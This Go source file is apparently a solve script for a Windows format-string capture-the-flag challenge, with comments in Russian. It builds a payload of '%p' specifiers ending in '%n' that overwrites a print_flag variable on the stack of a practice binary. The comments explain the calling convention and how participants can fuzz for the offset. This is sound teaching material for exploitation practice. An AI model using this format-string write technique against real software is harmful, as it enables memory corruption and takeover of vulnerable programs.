67 lines
3.0 KiB
Go
67 lines
3.0 KiB
Go
/*
|
|
Поскольку %44$n не работает, нам нужно "прошагать" по стеку. При вызове printf(fmt_str, 0xdeadbeef) память выглядит так:
|
|
|
|
fmt_str (в RCX)
|
|
|
|
0xdeadbeef (в RDX)
|
|
|
|
Мусор или старые значения (в R8)
|
|
|
|
Мусор (в R9)
|
|
|
|
Shadow Space (32 байта на стеке)
|
|
|
|
Локальные переменные main (среди которых указатель print_flag).
|
|
|
|
Мы будем отправлять пейлоад вида %p %p %p %p... %n. Когда %n дойдет до слота на стеке, где лежит указатель print_flag, printf запишет туда количество выведенных до этого байт. Значение станет больше нуля, и условие if (*print_flag) выполнится.
|
|
*/
|
|
|
|
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"log"
|
|
"winpwn"
|
|
)
|
|
|
|
func main() {
|
|
// Спавним локальный процесс (потом можно заменить на winpwn.Remote)
|
|
tube, err := winpwn.Spawn("fs3_win.exe")
|
|
if err != nil {
|
|
log.Fatalf("Spawn: %v", err)
|
|
}
|
|
|
|
// Оффсет: сколько спецификаторов %p нужно напечатать,
|
|
// чтобы следующий элемент указывал на переменную print_flag.
|
|
// Это число вычисляется динамически в x64dbg (смотришь на стек перед вызовом printf).
|
|
// Допустим, после анализа мы выяснили, что указатель лежит 12-м по счету.
|
|
offset := 12
|
|
|
|
// Конструируем пейлоад вида: "%p %p %p %p %p %p %p %p %p %p %p %n\n"
|
|
// Первые %p вытащат RDX (0xdeadbeef), R8, R9, затем содержимое стека.
|
|
// Последний %n запишет число по адресу, лежащему на стеке (наш print_flag).
|
|
var payload bytes.Buffer
|
|
for i := 0; i < offset-1; i++ {
|
|
payload.WriteString("%p ")
|
|
}
|
|
payload.WriteString("%n\n")
|
|
|
|
// Отправляем форматную строку
|
|
if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil {
|
|
log.Fatalf("SendLineAfter: %v", err)
|
|
}
|
|
|
|
// Перехватываем управление, чтобы увидеть вывод флага
|
|
tube.Interactive()
|
|
}
|
|
|
|
/*
|
|
Как участникам искать offset?
|
|
|
|
Им не обязательно использовать дебаггер. Форматные строки можно фаззить прямо из терминала.
|
|
Если участник отправит строку AAAA %p %p %p %p %p %p %p %p %p %p, он увидит что-то вроде:
|
|
AAAA 00000000DEADBEEF 00007FF71234 000000000000 000000000000 029011B0...
|
|
|
|
Где 029011B0 — это типичный адрес кучи в Windows. Как только они на глаз определят, каким по счету выводится адрес кучи, они просто заменят последний %p на %n.
|
|
*/
|